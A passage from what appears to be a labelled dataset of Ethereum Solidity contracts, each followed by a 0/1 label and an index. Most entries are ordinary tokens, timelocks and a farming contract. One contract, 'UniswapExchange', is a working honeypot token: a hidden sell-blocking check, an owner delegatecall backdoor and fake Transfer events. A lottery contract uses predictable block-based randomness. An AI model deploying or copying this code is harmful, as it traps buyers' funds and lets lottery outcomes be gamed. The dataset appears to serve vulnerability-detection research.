) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = UniswapPair(pair).getReserves();
if (isToken0) {
priceCumulative = UniswapPair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = UniswapPair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUGASJUN {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
UniswapPair internal uniswap_pair = UniswapPair(
0x2b5DFb7874F685BEA30b7d8426c9643A4bCF5873
);
IERC20 internal constant WETH = IERC20(
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
IERC20 internal constant JUN_UGAS = IERC20(
0xa6B9d7E3d76cF23549293Fb22c488E0Ea591A44e
);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal view returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal view returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(
uint256 sell_token_priceCumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell = uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract UGASJUNFarming is TWAPBoundedUGASJUN, UniHelper, YamSubGoverned {
enum ACTION {ENTER, EXIT}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter = SynthMinter(
0x4E8d60A785c2636A63c5Bd47C7050d21266c8B43
);
bool completed = true;
ACTION action;
address internal constant RESERVES = address(
0x97990B693835da58A281636296D2Bf02787DEa17
);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
WETH.transferFrom(RESERVES, address(this), collateral_amount);
WETH.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
JUN_UGAS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 ugasBalance = JUN_UGAS.balanceOf(address(this));
if (ugasBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - ugasBalance <=
5 * 10**18
? position.tokensOutstanding.rawValue - 5 * 10**18
: ugasBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 ugasReserves;
uint256 wethReserves;
(ugasReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, ugasReserves),
"Market rate is outside bounds"
);
uint256 wethBalance = WETH.balanceOf(RESERVES);
require(wethBalance > 100*(10**18), "Not enough ETH");
uint256 collateral_amount = (wethBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * ugasReserves) /
wethReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, JUN_UGAS, WETH, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 ugasReserves;
uint256 wethReserves;
(ugasReserves, wethReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(wethReserves, ugasReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
WETH.transfer(RESERVES, WETH.balanceOf(address(this)));
uint256 ugasBalance = JUN_UGAS.balanceOf(address(this));
if (ugasBalance > 0) {
JUN_UGAS.transfer(RESERVES, ugasBalance);
}
completed = true;
}
function _approveEnter()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.ENTER;
}
function _approveExit()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay)
public
onlyGovOrSubGov
{
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired()
public
onlyGovOrSubGov
{
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token)
public
onlyGovOrSubGov
{
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 0 | 1,776 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract WemergeTimelock is TokenTimelock {
string public name = "";
constructor(
string _name,
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
TokenTimelock(_token,_beneficiary,_releaseTime)
{
name = _name;
}
} | 1 | 3,867 |
pragma solidity ^0.4.13;
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract SECRETSanity {
modifier onlyOwner {
require(msg.sender == developer);
_;
}
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
bool public bought_tokens = false;
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
bool bonus_received;
address public sale = 0x6997f780521E233130249fc00bD7e0a7F2ddbbCF;
ERC20 public token;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
uint256 fees;
function withdraw() {
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[msg.sender];
balances[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens);
require(bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances_bonus[msg.sender] * contract_token_balance) / contract_eth_value_bonus;
contract_eth_value_bonus -= balances_bonus[msg.sender];
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function refund_me() {
require(!bought_tokens);
uint256 eth_to_withdraw = balances[msg.sender];
balances[msg.sender] = 0;
balances_bonus[msg.sender] = 0;
msg.sender.transfer(eth_to_withdraw);
}
function buy_the_tokens() onlyOwner {
require(!bought_tokens);
require(sale != 0x0);
bought_tokens = true;
developer.transfer(fees);
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
sale.transfer(contract_eth_value);
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received() onlyOwner {
bonus_received = true;
}
function () payable {
require(!bought_tokens);
uint256 fee = msg.value / 50;
fees += fee;
balances[msg.sender] += (msg.value-fee);
balances_bonus[msg.sender] += (msg.value-fee);
}
} | 1 | 4,163 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Wallet is Ownable {
using SafeMath for uint256;
LotteryData public lotteryData;
uint256 public minPaymnent = 10**16;
function setMinPayment(uint256 value) public onlyOwner {
minPaymnent = value;
}
constructor() public {
lotteryData = LotteryData(msg.sender);
}
function() payable external {
require(msg.value >= minPaymnent);
lotteryData.participate(msg.sender, msg.value);
}
function finishDay() external returns(uint256) {
require(msg.sender == address(lotteryData));
uint256 balance = address(this).balance;
if (balance >= minPaymnent) {
lotteryData.getFunds.value(balance)();
return balance;
}
else {
return 0;
}
}
}
contract LotteryData is Ownable {
using SafeMath for uint256;
event Withdrawn(address indexed payee, uint256 weiAmount);
event Deposited(address indexed payee, uint256 weiAmount);
event WinnerWallet(address indexed wallet, uint256 bank);
Wallet public wallet_0 = new Wallet();
Wallet public wallet_1 = new Wallet();
Wallet public wallet_2 = new Wallet();
uint256 public finishTime;
uint256 constant roundTime = 86400;
uint internal dilemma;
uint internal max_participators = 100;
uint internal participators;
uint internal randNonce = 19;
uint internal winner;
uint internal winner_1;
uint internal winner_2;
uint256 internal fund;
uint256 internal commission;
uint256 internal totalBetsWithoutCommission;
mapping(uint => address) public wallets;
mapping(address => mapping (address => uint256)) public playersBets;
mapping(address => mapping (uint => address)) public players;
mapping(address => uint256) public totalBets;
mapping(address => uint) public totalPlayers;
mapping(address => uint256) private _deposits;
uint public games;
struct wins{
address winner;
uint256 time;
}
mapping(uint => wins) public gamesLog;
constructor() public {
wallets[0] = address(wallet_0);
wallets[1] = address(wallet_1);
wallets[2] = address(wallet_2);
finishTime = now.add(roundTime);
}
modifier validWallets() {
require(
msg.sender == address(wallet_0) ||
msg.sender == address(wallet_1) ||
msg.sender == address(wallet_2)
);
_;
}
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function deposit(address payee, uint256 amount) internal {
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function getFunds() public payable validWallets {}
function lastWinner() public view returns(address) {
return gamesLog[games].winner;
}
function getRandomWallet() internal returns(uint) {
uint result = uint(keccak256(abi.encodePacked(now, randNonce, blockhash(block.number - 1)))) % 3;
randNonce = randNonce.add(result.add(2));
return result;
}
function _fundriser() internal returns(uint256) {
fund = fund.add(wallet_0.finishDay());
fund = fund.add(wallet_1.finishDay());
return fund.add(wallet_2.finishDay());
}
function _randomizer() internal returns(uint) {
winner = getRandomWallet();
if(totalPlayers[wallets[winner]] == 0) {
dilemma = uint(keccak256(abi.encodePacked(now, winner, blockhash(block.number - 1)))) % 2;
if(winner == 0) {
if(dilemma == 1) {
winner_1 = 2;
winner_2 = 1;
} else {
winner_1 = 1;
winner_2 = 2;
}
}
if(winner == 1) {
if(dilemma == 1) {
winner_1 = 2;
winner_2 = 0;
} else {
winner_1 = 0;
winner_2 = 2;
}
}
if(winner == 2) {
if(dilemma == 1) {
winner_1 = 1;
winner_2 = 0;
} else {
winner_1 = 0;
winner_2 = 1;
}
}
winner = (totalPlayers[wallets[winner_1]] == 0) ? winner_2 : winner_1;
}
return winner;
}
function _distribute() internal {
commission = fund.mul(15).div(100);
totalBetsWithoutCommission = fund.sub(commission);
deposit(owner, commission);
for (uint i = 0; i < totalPlayers[wallets[winner]]; i++) {
uint percents = playersBets[wallets[winner]][players[wallets[winner]][i]].mul(10000).div(totalBets[wallets[winner]]);
deposit(players[wallets[winner]][i], totalBetsWithoutCommission.mul(percents).div(10000));
}
}
function _collector() internal {
fund = 0;
participators = 0;
totalBets[wallets[0]] = 0;
for (uint j = 0; j < 3; j++) {
for (uint k = 0; k < totalPlayers[wallets[j]]; k++) {
playersBets[wallets[j]][players[wallets[j]][k]] = 0;
players[wallets[j]][k] = address(0x0);
}
totalBets[wallets[j]] = 0;
totalPlayers[wallets[j]] = 0;
}
}
function _logger(address _winner, uint256 _fund) internal {
games = games + 1;
gamesLog[games].winner =_winner;
gamesLog[games].time = now;
emit WinnerWallet(_winner, _fund);
}
function participate(address player, uint256 amount) external validWallets {
if (now >= finishTime || participators >= max_participators) {
fund = _fundriser();
if(fund > 0) {
winner = _randomizer();
_distribute();
_collector();
_logger(wallets[winner], fund);
}
finishTime = finishTime.add(roundTime);
}
if (playersBets[msg.sender][player] == 0) {
players[msg.sender][totalPlayers[msg.sender]] = player;
totalPlayers[msg.sender] = totalPlayers[msg.sender].add(1);
participators = participators.add(1);
}
playersBets[msg.sender][player] = playersBets[msg.sender][player].add(amount);
totalBets[msg.sender] = totalBets[msg.sender].add(amount);
}
function withdraw() public {
uint256 payment = _deposits[msg.sender];
_deposits[msg.sender] = 0;
msg.sender.transfer(payment);
emit Withdrawn(msg.sender, payment);
}
function paymentValidator(address _payee, uint256 _amount) internal {
if(_payee != address(wallet_0) &&
_payee != address(wallet_1) &&
_payee != address(wallet_2))
{
if(_amount == uint(0)) {
if(depositsOf(_payee) != uint(0)) {
withdraw();
} else {
revert("You have zero balance");
}
} else {
revert("You can't do nonzero transaction");
}
}
}
function() external payable {
paymentValidator(msg.sender, msg.value);
}
} | 1 | 3,593 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,905 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Timecoin {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Timecoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,985 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ActivityStorage is StorageBase {
struct Activity {
bool isPause;
uint16 buyLimit;
uint128 packPrice;
uint64 startDate;
uint64 endDate;
mapping(uint16 => address) soldPackToAddress;
mapping(address => uint16) addressBoughtCount;
}
mapping(uint16 => Activity) public activities;
function createActivity(
uint16 _activityId,
uint16 _buyLimit,
uint128 _packPrice,
uint64 _startDate,
uint64 _endDate
)
external
onlyOwner
{
require(activities[_activityId].buyLimit == 0);
activities[_activityId] = Activity({
isPause: false,
buyLimit: _buyLimit,
packPrice: _packPrice,
startDate: _startDate,
endDate: _endDate
});
}
function sellPackToAddress(
uint16 _activityId,
uint16 _packId,
address buyer
)
external
onlyOwner
{
Activity storage activity = activities[_activityId];
activity.soldPackToAddress[_packId] = buyer;
activity.addressBoughtCount[buyer]++;
}
function pauseActivity(uint16 _activityId) external onlyOwner {
activities[_activityId].isPause = true;
}
function unpauseActivity(uint16 _activityId) external onlyOwner {
activities[_activityId].isPause = false;
}
function deleteActivity(uint16 _activityId) external onlyOwner {
delete activities[_activityId];
}
function getAddressBoughtCount(uint16 _activityId, address buyer) external view returns (uint16) {
return activities[_activityId].addressBoughtCount[buyer];
}
function getBuyerAddress(uint16 _activityId, uint16 packId) external view returns (address) {
return activities[_activityId].soldPackToAddress[packId];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract HasNoContracts is Pausable {
function reclaimContract(address _contractAddr) external onlyOwner whenPaused {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract LogicBase is HasNoContracts {
